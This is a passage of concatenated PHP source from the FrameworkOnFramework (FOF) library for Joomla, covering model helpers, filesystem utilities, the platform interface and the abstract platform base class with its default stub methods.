// Behavior failed, return false
return false;
}
return true;
}
/**
* Method to get the database driver object
*
* @return FOFDatabaseDriver
*/
public function getDbo()
{
return $this->_db;
}
/**
* Method to get the model name
*
* The model name. By default parsed using the classname or it can be set
* by passing a $config['name'] in the class constructor
*
* @return string The name of the model
*
* @throws Exception
*/
public function getName()
{
if (empty($this->name))
{
$r = null;
if (!preg_match('/Model(.*)/i', get_class($this), $r))
{
throw new
Exception(JText::_('JLIB_APPLICATION_ERROR_MODEL_GET_NAME'),
500);
}
$this->name = strtolower($r[1]);
}
return $this->name;
}
/**
* Method to set the database driver object
*
* @param FOFDatabaseDriver $db A FOFDatabaseDriver based object
*
* @return void
*/
public function setDbo($db)
{
$this->_db = $db;
}
/**
* Method to set model state variables
*
* @param string $property The name of the property.
* @param mixed $value The value of the property to set or null.
*
* @return mixed The previous value of the property or null if not set.
*/
public function setState($property, $value = null)
{
return $this->state->set($property, $value);
}
/**
* Clean the cache
*
* @param string $group The cache group
* @param integer $client_id The ID of the client
*
* @return void
*/
protected function cleanCache($group = null, $client_id = 0)
{
$conf = JFactory::getConfig();
$platformDirs =
FOFPlatform::getInstance()->getPlatformBaseDirs();
$options = array(
'defaultgroup' => ($group) ? $group :
(isset($this->option) ? $this->option :
JFactory::getApplication()->input->get('option')),
'cachebase' => ($client_id) ?
$platformDirs['admin'] . '/cache' :
$conf->get('cache_path', $platformDirs['public'] .
'/cache'));
$cache = JCache::getInstance('callback', $options);
$cache->clean();
// Trigger the onContentCleanCache event.
FOFPlatform::getInstance()->runPlugins($this->event_clean_cache,
$options);
}
/**
* Set a behavior param
*
* @param string $name The name of the param
* @param mixed $value The param value to set
*
* @return FOFModel
*/
public function setBehaviorParam($name, $value)
{
$this->_behaviorParams[$name] = $value;
return $this;
}
/**
* Get a behavior param
*
* @param string $name The name of the param
* @param mixed $default The default value returned if not set
*
* @return mixed
*/
public function getBehaviorParam($name, $default = null)
{
return isset($this->_behaviorParams[$name]) ?
$this->_behaviorParams[$name] : $default;
}
/**
* Set or get the blacklisted filters
*
* @param mixed $list A filter or list of filters to blacklist. If
null return the list of blacklisted filter
* @param boolean $reset Reset the blacklist if true
*
* @return void|array Return an array of value if $list is null
*/
public function blacklistFilters($list = null, $reset = false)
{
if (!isset($list))
{
return $this->getBehaviorParam('blacklistFilters',
array());
}
if (is_string($list))
{
$list = (array) $list;
}
if (!$reset)
{
$list =
array_unique(array_merge($this->getBehaviorParam('blacklistFilters',
array()), $list));
}
$this->setBehaviorParam('blacklistFilters', $list);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage platform
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
abstract class FOFPlatformFilesystem implements
FOFPlatformFilesystemInterface
{
/**
* The list of paths where platform class files will be looked for
*
* @var array
*/
protected static $paths = array();
/**
* This method will crawl a starting directory and get all the valid
files that will be analyzed by getInstance.
* Then it organizes them into an associative array.
*
* @param string $path Folder where we should start
looking
* @param array $ignoreFolders Folder ignore list
* @param array $ignoreFiles File ignore list
*
* @return array Associative array, where the `fullpath` key
contains the path to the file,
* and the `classname` key contains the name of the
class
*/
protected static function getFiles($path, array $ignoreFolders =
array(), array $ignoreFiles = array())
{
$return = array();
$files = self::scanDirectory($path, $ignoreFolders, $ignoreFiles);
// Ok, I got the files, now I have to organize them
foreach($files as $file)
{
$clean = str_replace($path, '', $file);
$clean = trim(str_replace('\\', '/',
$clean), '/');
$parts = explode('/', $clean);
// If I have less than 3 fragments, it means that the file was
inside the generic folder
// (interface + abstract) so I have to skip it
if(count($parts) < 3)
{
continue;
}
$return[] = array(
'fullpath' => $file,
'classname' =>
'FOFPlatform'.ucfirst($parts[0]).ucfirst(basename($parts[1],
'.php'))
);
}
return $return;
}
/**
* Recursive function that will scan every directory unless it's
in the ignore list. Files that aren't in the
* ignore list are returned.
*
* @param string $path Folder where we should start
looking
* @param array $ignoreFolders Folder ignore list
* @param array $ignoreFiles File ignore list
*
* @return array List of all the files
*/
protected static function scanDirectory($path, array $ignoreFolders =
array(), array $ignoreFiles = array())
{
$return = array();
$handle = @opendir($path);
if(!$handle)
{
return $return;
}
while (($file = readdir($handle)) !== false)
{
if($file == '.' || $file == '..')
{
continue;
}
$fullpath = $path . '/' . $file;
if((is_dir($fullpath) && in_array($file,
$ignoreFolders)) || (is_file($fullpath) && in_array($file,
$ignoreFiles)))
{
continue;
}
if(is_dir($fullpath))
{
$return = array_merge(self::scanDirectory($fullpath,
$ignoreFolders, $ignoreFiles), $return);
}
else
{
$return[] = $path . '/' . $file;
}
}
return $return;
}
/**
* Gets the extension of a file name
*
* @param string $file The file name
*
* @return string The file extension
*/
public function getExt($file)
{
$dot = strrpos($file, '.') + 1;
return substr($file, $dot);
}
/**
* Strips the last extension off of a file name
*
* @param string $file The file name
*
* @return string The file name without the extension
*/
public function stripExt($file)
{
return preg_replace('#\.[^.]*$#', '', $file);
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage platformFilesystem
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
interface FOFPlatformFilesystemInterface
{
/**
* Does the file exists?
*
* @param $path string Path to the file to test
*
* @return bool
*/
public function fileExists($path);
/**
* Delete a file or array of files
*
* @param mixed $file The file name or an array of file names
*
* @return boolean True on success
*
*/
public function fileDelete($file);
/**
* Copies a file
*
* @param string $src The path to the source file
* @param string $dest The path to the destination file
*
* @return boolean True on success
*/
public function fileCopy($src, $dest);
/**
* Write contents to a file
*
* @param string $file The full file path
* @param string &$buffer The buffer to write
*
* @return boolean True on success
*/
public function fileWrite($file, &$buffer);
/**
* Checks for snooping outside of the file system root.
*
* @param string $path A file system path to check.
*
* @return string A cleaned version of the path or exit on error.
*
* @throws Exception
*/
public function pathCheck($path);
/**
* Function to strip additional / or \ in a path name.
*
* @param string $path The path to clean.
* @param string $ds Directory separator (optional).
*
* @return string The cleaned path.
*
* @throws UnexpectedValueException
*/
public function pathClean($path, $ds = DIRECTORY_SEPARATOR);
/**
* Searches the directory paths for a given file.
*
* @param mixed $paths An path string or array of path strings to
search in
* @param string $file The file name to look for.
*
* @return mixed The full path and file name for the target file, or
boolean false if the file is not found in any of the paths.
*/
public function pathFind($paths, $file);
/**
* Wrapper for the standard file_exists function
*
* @param string $path Folder name relative to installation dir
*
* @return boolean True if path is a folder
*/
public function folderExists($path);
/**
* Utility function to read the files in a folder.
*
* @param string $path The path of the folder to read.
* @param string $filter A filter for file names.
* @param mixed $recurse True to recursively search into
sub-folders, or an integer to specify the maximum depth.
* @param boolean $full True to return the full path to
the file.
* @param array $exclude Array with names of files which
should not be shown in the result.
* @param array $excludefilter Array of filter to exclude
*
* @return array Files in the given folder.
*/
public function folderFiles($path, $filter = '.', $recurse =
false, $full = false, $exclude = array('.svn', 'CVS',
'.DS_Store', '__MACOSX'),
$excludefilter = array('^\..*',
'.*~'));
/**
* Utility function to read the folders in a folder.
*
* @param string $path The path of the folder to read.
* @param string $filter A filter for folder names.
* @param mixed $recurse True to recursively search into
sub-folders, or an integer to specify the maximum depth.
* @param boolean $full True to return the full path to
the folders.
* @param array $exclude Array with names of folders which
should not be shown in the result.
* @param array $excludefilter Array with regular expressions
matching folders which should not be shown in the result.
*
* @return array Folders in the given folder.
*/
public function folderFolders($path, $filter = '.', $recurse
= false, $full = false, $exclude = array('.svn', 'CVS',
'.DS_Store', '__MACOSX'),
$excludefilter =
array('^\..*'));
/**
* Create a folder -- and all necessary parent folders.
*
* @param string $path A path to create from the base path.
* @param integer $mode Directory permissions to set for folders
created. 0755 by default.
*
* @return boolean True if successful.
*/
public function folderCreate($path = '', $mode = 0755);
}<?php
/**
* @package FrameworkOnFramework
* @subpackage platform
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Part of the FOF Platform Abstraction Layer. It implements everything
that
* depends on the platform FOF is running under, e.g. the Joomla! CMS
front-end,
* the Joomla! CMS back-end, a CLI Joomla! Platform app, a bespoke Joomla!
* Platform / Framework web application and so on.
*
* This is the abstract class implementing some basic housekeeping
functionality
* and provides the static interface to get the appropriate Platform object
for
* use in the rest of the framework.
*
* @package FrameworkOnFramework
* @since 2.1
*/
interface FOFPlatformInterface
{
/**
* Checks if the current script is run inside a valid CMS execution
*
* @return bool
*/
public function checkExecution();
/**
* Set the error Handling, if possible
*
* @param integer $level PHP error level (E_ALL)
* @param string $log_level What to do with the error (ignore,
callback)
* @param array $options Options for the error handler
*
* @return void
*/
public function setErrorHandling($level, $log_level, $options = array());
/**
* Raises an error, using the logic requested by the CMS (PHP Exception
or dedicated class)
*
* @param integer $code
* @param string $message
*
* @return mixed
*/
public function raiseError($code, $message);
/**
* Returns the ordering of the platform class. Files with a lower ordering
* number will be loaded first.
*
* @return integer
*/
public function getOrdering();
/**
* Returns a platform integration object
*
* @param string $key The key name of the platform integration object,
e.g. 'filesystem'
*
* @return object
*
* @since 2.1.2
*/
public function getIntegrationObject($key);
/**
* Forces a platform integration object instance
*
* @param string $key The key name of the platform integration
object, e.g. 'filesystem'
* @param object $object The object to force for this key
*
* @return object
*
* @since 2.1.2
*/
public function setIntegrationObject($key, $object);
/**
* Is this platform enabled? This is used for automatic platform
detection.
* If the environment we're currently running in doesn't seem to
be your
* platform return false. If many classes return true, the one with the
* lowest order will be picked by FOFPlatform.
*
* @return boolean
*/
public function isEnabled();
/**
* Returns the (internal) name of the platform implementation, e.g.
* "joomla", "foobar123" etc. This MUST be the last
part of the platform
* class name. For example, if you have a plaform implementation class
* FOFPlatformFoobar you MUST return "foobar" (all lowercase).
*
* @return string
*
* @since 2.1.2
*/
public function getPlatformName();
/**
* Returns the version number string of the platform, e.g.
"4.5.6". If
* implementation integrates with a CMS or a versioned foundation (e.g.
* a framework) it is advisable to return that version.
*
* @return string
*
* @since 2.1.2
*/
public function getPlatformVersion();
/**
* Returns the human readable platform name, e.g. "Joomla!",
"Joomla!
* Framework", "Something Something Something Framework"
etc.
*
* @return string
*
* @since 2.1.2
*/
public function getPlatformHumanName();
/**
* Returns absolute path to directories used by the CMS.
*
* The return is a table with the following key:
* * root Path to the site root
* * public Path to the public area of the site
* * admin Path to the administrative area of the site
* * tmp Path to the temp directory
* * log Path to the log directory
*
* @return array A hash array with keys root, public, admin, tmp and
log.
*/
public function getPlatformBaseDirs();
/**
* Returns the base (root) directories for a given component. The
* "component" is used in the sense of what we call
"component" in Joomla!,
* "plugin" in WordPress and "module" in Drupal, i.e.
an application which
* is running inside our main application (CMS).
*
* The return is a table with the following keys:
* * main The normal location of component files. For a back-end Joomla!
* component this is the administrator/components/com_example
* directory.
* * alt The alternate location of component files. For a back-end
* Joomla! component this is the front-end directory, e.g.
* components/com_example
* * site The location of the component files serving the public part of
* the application.
* * admin The location of the component files serving the administrative
* part of the application.
*
* All paths MUST be absolute. All four paths MAY be the same if the
* platform doesn't make a distinction between public and private
parts,
* or when the component does not provide both a public and private part.
* All of the directories MUST be defined and non-empty.
*
* @param string $component The name of the component. For Joomla!
this
* is something like "com_example"
*
* @return array A hash array with keys main, alt, site and admin.
*/
public function getComponentBaseDirs($component);
/**
* Return a list of the view template paths for this component. The paths
* are in the format site:/component_name/view_name/layout_name or
* admin:/component_name/view_name/layout_name
*
* The list of paths returned is a prioritised list. If a file is
* found in the first path the other paths will not be scanned.
*
* @param string $component The name of the component. For Joomla!
this
* is something like "com_example"
* @param string $view The name of the view you're looking
a
* template for
* @param string $layout The layout name to load, e.g.
'default'
* @param string $tpl The sub-template name to load (null by
default)
* @param boolean $strict If true, only the specified layout will
be
* searched for. Otherwise we'll fall
back to
* the 'default' layout if the
specified layout
* is not found.
*
* @return array
*/
public function getViewTemplatePaths($component, $view, $layout =
'default', $tpl = null, $strict = false);
/**
* Get application-specific suffixes to use with template paths. This
allows
* you to look for view template overrides based on the application
version.
*
* @return array A plain array of suffixes to try in template names
*/
public function getTemplateSuffixes();
/**
* Return the absolute path to the application's template overrides
* directory for a specific component. We will use it to look for template
* files instead of the regular component directorues. If the application
* does not have such a thing as template overrides return an empty
string.
*
* @param string $component The name of the component for which to
fetch the overrides
* @param boolean $absolute Should I return an absolute or relative
path?
*
* @return string The path to the template overrides directory
*/
public function getTemplateOverridePath($component, $absolute = true);
/**
* Load the translation files for a given component. The
* "component" is used in the sense of what we call
"component" in Joomla!,
* "plugin" in WordPress and "module" in Drupal, i.e.
an application which
* is running inside our main application (CMS).
*
* @param string $component The name of the component. For Joomla!
this
* is something like "com_example"
*
* @return void
*/
public function loadTranslations($component);
/**
* By default FOF will only use the Controller's onBefore* methods to
* perform user authorisation. In some cases, like the Joomla! back-end,
* you also need to perform component-wide user authorisation in the
* Dispatcher. This method MUST implement this authorisation check. If you
* do not need this in your platform, please always return true.
*
* @param string $component The name of the component.
*
* @return boolean True to allow loading the component, false to halt
loading
*/
public function authorizeAdmin($component);
/**
* This method will try retrieving a variable from the request (input)
data.
* If it doesn't exist it will be loaded from the user state,
typically
* stored in the session. If it doesn't exist there either, the
$default
* value will be used. If $setUserState is set to true, the retrieved
* variable will be stored in the user session.
*
* @param string $key The user state key for the variable
* @param string $request The request variable name for the
variable
* @param FOFInput $input The FOFInput object with the request
(input) data
* @param mixed $default The default value. Default: null
* @param string $type The filter type for the variable
data. Default: none (no filtering)
* @param boolean $setUserState Should I set the user state with the
fetched value?
*
* @return mixed The value of the variable
*/
public function getUserStateFromRequest($key, $request, $input, $default =
null, $type = 'none', $setUserState = true);
/**
* Load plugins of a specific type. Obviously this seems to only be
required
* in the Joomla! CMS.
*
* @param string $type The type of the plugins to be loaded
*
* @return void
*/
public function importPlugin($type);
/**
* Execute plugins (system-level triggers) and fetch back an array with
* their return values.
*
* @param string $event The event (trigger) name, e.g.
onBeforeScratchMyEar
* @param array $data A hash array of data sent to the plugins as
part of the trigger
*
* @return array A simple array containing the results of the plugins
triggered
*/
public function runPlugins($event, $data);
/**
* Perform an ACL check. Please note that FOF uses by default the Joomla!
* CMS convention for ACL privileges, e.g core.edit for the edit
privilege.
* If your platform uses different conventions you'll have to
override the
* FOF defaults using fof.xml or by specialising the controller.
*
* @param string $action The ACL privilege to check, e.g. core.edit
* @param string $assetname The asset name to check, typically the
component's name
*
* @return boolean True if the user is allowed this action
*/
public function authorise($action, $assetname);
/**
* Returns a user object.
*
* @param integer $id The user ID to load. Skip or use null to
retrieve
* the object for the currently logged in user.
*
* @return JUser The JUser object for the specified user
*/
public function getUser($id = null);
/**
* Returns the JDocument object which handles this component's
response. You
* may also return null and FOF will a. try to figure out the output type
by
* examining the "format" input parameter (or fall back to
"html") and b.
* FOF will not attempt to load CSS and Javascript files (as it
doesn't make
* sense if there's no JDocument to handle them).
*
* @return JDocument
*/
public function getDocument();
/**
* Returns an object to handle dates
*
* @param mixed $time The initial time
* @param null $tzOffest The timezone offset
* @param bool $locale Should I try to load a specific class
for current language?
*
* @return JDate object
*/
public function getDate($time = 'now', $tzOffest = null,
$locale = true);
public function getLanguage();
/**
* @return FOFDatabaseDriver
*/
public function getDbo();
/**
* Is this the administrative section of the component?
*
* @return boolean
*/
public function isBackend();
/**
* Is this the public section of the component?
*
* @return boolean
*/
public function isFrontend();
/**
* Is this a component running in a CLI application?
*
* @return boolean
*/
public function isCli();
/**
* Is AJAX re-ordering supported? This is 100% Joomla!-CMS specific. All
* other platforms should return false and never ask why.
*
* @return boolean
*/
public function supportsAjaxOrdering();
/**
* Performs a check between two versions. Use this function instead of PHP
version_compare
* so we can mock it while testing
*
* @param string $version1 First version number
* @param string $version2 Second version number
* @param string $operator Operator (see version_compare for valid
operators)
*
* @deprecated Use PHP's version_compare against JVERSION in your
code. This method is scheduled for removal in FOF 3.0
*
* @return boolean
*/
public function checkVersion($version1, $version2, $operator);
/**
* Saves something to the cache. This is supposed to be used for
system-wide
* FOF data, not application data.
*
* @param string $key The key of the data to save
* @param string $content The actual data to save
*
* @return boolean True on success
*/
public function setCache($key, $content);
/**
* Retrieves data from the cache. This is supposed to be used for
system-side
* FOF data, not application data.
*
* @param string $key The key of the data to retrieve
* @param string $default The default value to return if the key is
not found or the cache is not populated
*
* @return string The cached value
*/
public function getCache($key, $default = null);
/**
* Clears the cache of system-wide FOF data. You are supposed to call this
in
* your components' installation script post-installation and
post-upgrade
* methods or whenever you are modifying the structure of database tables
* accessed by FOF. Please note that FOF's cache never expires and is
not
* purged by Joomla!. You MUST use this method to manually purge the
cache.
*
* @return boolean True on success
*/
public function clearCache();
/**
* Returns an object that holds the configuration of the current site.
*
* @return mixed
*/
public function getConfig();
/**
* Is the global FOF cache enabled?
*
* @return boolean
*/
public function isGlobalFOFCacheEnabled();
/**
* logs in a user
*
* @param array $authInfo authentication information
*
* @return boolean True on success
*/
public function loginUser($authInfo);
/**
* logs out a user
*
* @return boolean True on success
*/
public function logoutUser();
public function logAddLogger($file);
/**
* Logs a deprecated practice. In Joomla! this results in the $message
being output in the
* deprecated log file, found in your site's log directory.
*
* @param string $message The deprecated practice log message
*
* @return void
*/
public function logDeprecated($message);
public function logDebug($message);
/**
* Returns the root URI for the request.
*
* @param boolean $pathonly If false, prepend the scheme, host and
port information. Default is false.
* @param string $path The path
*
* @return string The root URI string.
*/
public function URIroot($pathonly = false, $path = null);
/**
* Returns the base URI for the request.
*
* @param boolean $pathonly If false, prepend the scheme, host and
port information. Default is false.
* |
* @return string The base URI string
*/
public function URIbase($pathonly = false);
/**
* Method to set a response header. If the replace flag is set then
all headers
* with the given name will be replaced by the new one (only if the
current platform supports header caching)
*
* @param string $name The name of the header to set.
* @param string $value The value of the header to set.
* @param boolean $replace True to replace any headers with the
same name.
*
* @return void
*/
public function setHeader($name, $value, $replace = false);
/**
* In platforms that perform header caching, send all headers.
*
* @return void
*/
public function sendHeaders();
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage platform
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Part of the FOF Platform Abstraction Layer. It implements everything
that
* depends on the platform FOF is running under, e.g. the Joomla! CMS
front-end,
* the Joomla! CMS back-end, a CLI Joomla! Platform app, a bespoke Joomla!
* Platform / Framework web application and so on.
*
* This is the abstract class implementing some basic housekeeping
functionality
* and provides the static interface to get the appropriate Platform object
for
* use in the rest of the framework.
*
* @package FrameworkOnFramework
* @since 2.1
*/
abstract class FOFPlatform implements FOFPlatformInterface
{
/**
* The ordering for this platform class. The lower this number is, the
more
* important this class becomes. Most important enabled class ends up
being
* used.
*
* @var integer
*/
public $ordering = 100;
/**
* The internal name of this platform implementation. It must match the
* last part of the platform class name and be in all lowercase letters,
* e.g. "foobar" for FOFPlatformFoobar
*
* @var string
*
* @since 2.1.2
*/
public $name = '';
/**
* The human readable platform name
*
* @var string
*
* @since 2.1.2
*/
public $humanReadableName = 'Unknown Platform';
/**
* The platform version string
*
* @var string
*
* @since 2.1.2
*/
public $version = '';
/**
* Caches the enabled status of this platform class.
*
* @var boolean
*/
protected $isEnabled = null;
/**
* Filesystem integration objects cache
*
* @var object
*
* @since 2.1.2
*/
protected $objectCache = array();
/**
* The list of paths where platform class files will be looked for
*
* @var array
*/
protected static $paths = array();
/**
* The platform class instance which will be returned by getInstance
*
* @var FOFPlatformInterface
*/
protected static $instance = null;
//
========================================================================
// Public API for platform integration handling
//
========================================================================
/**
* Register a path where platform files will be looked for. These take
* precedence over the built-in platform files.
*
* @param string $path The path to add
*
* @return void
*/
public static function registerPlatformPath($path)
{
if (!in_array($path, self::$paths))
{
self::$paths[] = $path;
self::$instance = null;
}
}
/**
* Unregister a path where platform files will be looked for.
*
* @param string $path The path to remove
*
* @return void
*/
public static function unregisterPlatformPath($path)
{
$pos = array_search($path, self::$paths);
if ($pos !== false)
{
unset(self::$paths[$pos]);
self::$instance = null;
}
}
/**
* Force a specific platform object to be used. If null, nukes the cache
*
* @param FOFPlatformInterface|null $instance The Platform object to
be used
*
* @return void
*/
public static function forceInstance($instance)
{
if ($instance instanceof FOFPlatformInterface || is_null($instance))
{
self::$instance = $instance;
}
}
/**
* Find and return the most relevant platform object
*
* @return FOFPlatformInterface
*/
public static function getInstance()
{
if (!is_object(self::$instance))
{
// Where to look for platform integrations
$paths = array(__DIR__ . '/../integration');
if (is_array(self::$paths))
{
$paths = array_merge($paths, self::$paths);
}
// Get a list of folders inside this directory
$integrations = array();
foreach ($paths as $path)
{
if (!is_dir($path))
{
continue;
}
$di = new DirectoryIterator($path);
$temp = array();
foreach ($di as $fileSpec)
{
if (!$fileSpec->isDir())
{
continue;
}
$fileName = $fileSpec->getFilename();
if (substr($fileName, 0, 1) == '.')
{
continue;
}
$platformFilename = $path . '/' . $fileName .
'/platform.php';
if (!file_exists($platformFilename))
{
continue;
}
$temp[] = array(
'classname' => 'FOFIntegration' .
ucfirst($fileName) . 'Platform',
'fullpath' => $path . '/' . $fileName .
'/platform.php',
);
}
$integrations = array_merge($integrations, $temp);
}
// Loop all paths
foreach ($integrations as $integration)
{
// Get the class name for this platform class
$class_name = $integration['classname'];
// Load the file if the class doesn't exist
if (!class_exists($class_name, false))
{
@include_once $integration['fullpath'];
}
// If the class still doesn't exist this file didn't
// actually contain a platform class; skip it
if (!class_exists($class_name, false))
{
continue;
}
// If it doesn't implement FOFPlatformInterface, skip it
if (!class_implements($class_name, 'FOFPlatformInterface'))
{
continue;
}
// Get an object of this platform
$o = new $class_name;
// If it's not enabled, skip it
if (!$o->isEnabled())
{
continue;
}
if (is_object(self::$instance))
{
// Replace self::$instance if this object has a
// lower order number
$current_order = self::$instance->getOrdering();
$new_order = $o->getOrdering();
if ($new_order < $current_order)
{
self::$instance = null;
self::$instance = $o;
}
}
else
{
// There is no self::$instance already, so use the
// object we just created.
self::$instance = $o;
}
}
}
return self::$instance;
}
/**
* Returns the ordering of the platform class.
*
* @see FOFPlatformInterface::getOrdering()
*
* @return integer
*/
public function getOrdering()
{
return $this->ordering;
}
/**
* Is this platform enabled?
*
* @see FOFPlatformInterface::isEnabled()
*
* @return boolean
*/
public function isEnabled()
{
if (is_null($this->isEnabled))
{
$this->isEnabled = false;
}
return $this->isEnabled;
}
/**
* Returns a platform integration object
*
* @param string $key The key name of the platform integration object,
e.g. 'filesystem'
*
* @return object
*
* @since 2.1.2
*/
public function getIntegrationObject($key)
{
$hasObject = false;
if (array_key_exists($key, $this->objectCache))
{
if (is_object($this->objectCache[$key]))
{
$hasObject = true;
}
}
if (!$hasObject)
{
// Instantiate a new platform integration object
$className = 'FOFIntegration' .
ucfirst($this->getPlatformName()) . ucfirst($key);
$this->objectCache[$key] = new $className;
}
return $this->objectCache[$key];
}
/**
* Forces a platform integration object instance
*
* @param string $key The key name of the platform integration
object, e.g. 'filesystem'
* @param object $object The object to force for this key
*
* @return object
*
* @since 2.1.2
*/
public function setIntegrationObject($key, $object)
{
$this->objectCache[$key] = $object;
}
//
========================================================================
// Default implementation
//
========================================================================
/**
* Set the error Handling, if possible
*
* @param integer $level PHP error level (E_ALL)
* @param string $log_level What to do with the error (ignore,
callback)
* @param array $options Options for the error handler
*
* @return void
*/
public function setErrorHandling($level, $log_level, $options = array())
{
if (version_compare(JVERSION, '3.0', 'lt') )
{
return JError::setErrorHandling($level, $log_level, $options);
}
}
/**
* Returns the base (root) directories for a given component.
*
* @param string $component The name of the component. For Joomla!
this
* is something like "com_example"
*
* @see FOFPlatformInterface::getComponentBaseDirs()
*
* @return array A hash array with keys main, alt, site and admin.
*/
public function getComponentBaseDirs($component)
{
return array(
'main' => '',
'alt' => '',
'site' => '',
'admin' => '',
);
}
/**
* Return a list of the view template directories for this component.
*
* @param string $component The name of the component. For Joomla!
this
* is something like "com_example"
* @param string $view The name of the view you're looking
a
* template for
* @param string $layout The layout name to load, e.g.
'default'
* @param string $tpl The sub-template name to load (null by
default)
* @param boolean $strict If true, only the specified layout will
be
* searched for. Otherwise we'll fall
back to
* the 'default' layout if the
specified layout
* is not found.
*
* @see FOFPlatformInterface::getViewTemplateDirs()
*
* @return array
*/
public function getViewTemplatePaths($component, $view, $layout =
'default', $tpl = null, $strict = false)
{
return array();
}
/**
* Get application-specific suffixes to use with template paths. This
allows
* you to look for view template overrides based on the application
version.
*
* @return array A plain array of suffixes to try in template names
*/
public function getTemplateSuffixes()
{
return array();
}
/**
* Return the absolute path to the application's template overrides
* directory for a specific component. We will use it to look for template
* files instead of the regular component directories. If the application
* does not have such a thing as template overrides return an empty
string.
*
* @param string $component The name of the component for which to
fetch the overrides
* @param boolean $absolute Should I return an absolute or relative
path?
*
* @return string The path to the template overrides directory
*/
public function getTemplateOverridePath($component, $absolute = true)
{
return '';
}
/**
* Load the translation files for a given component.
*
* @param string $component The name of the component. For Joomla!
this
* is something like "com_example"
*
* @see FOFPlatformInterface::loadTranslations()
*
* @return void
*/
public function loadTranslations($component)
{
return null;
}
/**
* Authorise access to the component in the back-end.
*
* @param string $component The name of the component.
*
* @see FOFPlatformInterface::authorizeAdmin()
*
* @return boolean True to allow loading the component, false to halt
loading
*/
public function authorizeAdmin($component)
{
return true;
}
/**
* Returns the JUser object for the current user
*
* @param integer $id The ID of the user to fetch
*
* @see FOFPlatformInterface::getUser()
*
* @return JDocument
*/
public function getUser($id = null)
{
return null;
}
/**
* Returns the JDocument object which handles this component's
response.
*
* @see FOFPlatformInterface::getDocument()
*
* @return JDocument
*/
public function getDocument()
{
return null;
}
/**
* This method will try retrieving a variable from the request (input)
data.
*
* @param string $key The user state key for the variable
* @param string $request The request variable name for the
variable
* @param FOFInput $input The FOFInput object with the request
(input) data
* @param mixed $default The default value. Default: null
* @param string $type The filter type for the variable
data. Default: none (no filtering)
* @param boolean $setUserState Should I set the user state with the
fetched value?
*
* @see FOFPlatformInterface::getUserStateFromRequest()
*
* @return mixed The value of the variable
*/
public function getUserStateFromRequest($key, $request, $input, $default =
null, $type = 'none', $setUserState = true)
{
return $input->get($request, $default, $type);
}
/**
* Load plugins of a specific type. Obviously this seems to only be
required
* in the Joomla! CMS.
*
* @param string $type The type of the plugins to be loaded
*
* @see FOFPlatformInterface::importPlugin()
*
* @return void
*/
public function importPlugin($type)
{
}
/**
* Execute plugins (system-level triggers) and fetch back an array with
* their return values.
*
* @param string $event The event (trigger) name, e.g.
onBeforeScratchMyEar
* @param array $data A hash array of data sent to the plugins as
part of the trigger
*
* @see FOFPlatformInterface::runPlugins()
*
* @return array A simple array containing the results of the plugins
triggered
*/
public function runPlugins($event, $data)
{
return array();
}
/**
* Perform an ACL check.
*
* @param string $action The ACL privilege to check, e.g. core.edit
* @param string $assetname The asset name to check, typically the
component's name
*
* @see FOFPlatformInterface::authorise()
*
* @return boolean True if the user is allowed this action
*/
public function authorise($action, $assetname)
{
return true;
}
/**
* Is this the administrative section of the component?
*
* @see FOFPlatformInterface::isBackend()
*
* @return boolean
*/
public function isBackend()
{
return true;
}
/**
* Is this the public section of the component?
*
* @see FOFPlatformInterface::isFrontend()
*
* @return boolean
*/
public function isFrontend()
{
return true;
}
/**
* Is this a component running in a CLI application?
*
* @see FOFPlatformInterface::isCli()
*
* @return boolean
*/
public function isCli()
{
return true;
}
/**
* Is AJAX re-ordering supported? This is 100% Joomla!-CMS specific. All
* other platforms should return false and never ask why.
*
* @see FOFPlatformInterface::supportsAjaxOrdering()
*
* @return boolean
*/
public function supportsAjaxOrdering()
{
return true;
}
/**
* Performs a check between two versions. Use this function instead of PHP
version_compare
* so we can mock it while testing
*
* @param string $version1 First version number
* @param string $version2 Second version number
* @param string $operator Operator (see version_compare for valid
operators)
*
* @return boolean
*/
public function checkVersion($version1, $version2, $operator)
{
return version_compare($version1, $version2, $operator);
}
/**
* Saves something to the cache. This is supposed to be used for
system-wide
* FOF data, not application data.
*
* @param string $key The key of the data to save
* @param string $content The actual data to save
*
* @return boolean True on success
*/
public function setCache($key, $content)
{
return false;
}
/**
* Retrieves data from the cache. This is supposed to be used for
system-side
* FOF data, not application data.
*
* @param string $key The key of the data to retrieve
* @param string $default The default value to return if the key is
not found or the cache is not populated
*
* @return string The cached value
*/
public function getCache($key, $default = null)
{
return false;
}
/**
* Is the global FOF cache enabled?
*
* @return boolean
*/
public function isGlobalFOFCacheEnabled()
{
return true;
}
/**
* Clears the cache of system-wide FOF data. You are supposed to call this
in
* your components' installation script post-installation and
post-upgrade
* methods or whenever you are modifying the structure of database tables
* accessed by FOF. Please note that FOF's cache never expires and is
not
* purged by Joomla!. You MUST use this method to manually purge the
cache.
*
* @return boolean True on success
*/
public function clearCache()
{
return false;
}
/**
* logs in a user
*
* @param array $authInfo authentication information
*
* @return boolean True on success
*/
public function loginUser($authInfo)
{
return true;
}
/**
* logs out a user
*
* @return boolean True on success
*/
public function logoutUser()
{
return true;
}
/**
* Logs a deprecated practice. In Joomla! this results in the $message
being output in the
* deprecated log file, found in your site's log directory.
*
* @param $message The deprecated practice log message
*
* @return void
*/
public function logDeprecated($message)
{
// The default implementation does nothing. Override this in your
platform classes.
}
/**
* Returns the (internal) name of the platform implementation, e.g.
* "joomla", "foobar123" etc. This MUST be the last
part of the platform
* class name. For example, if you have a platform implementation class
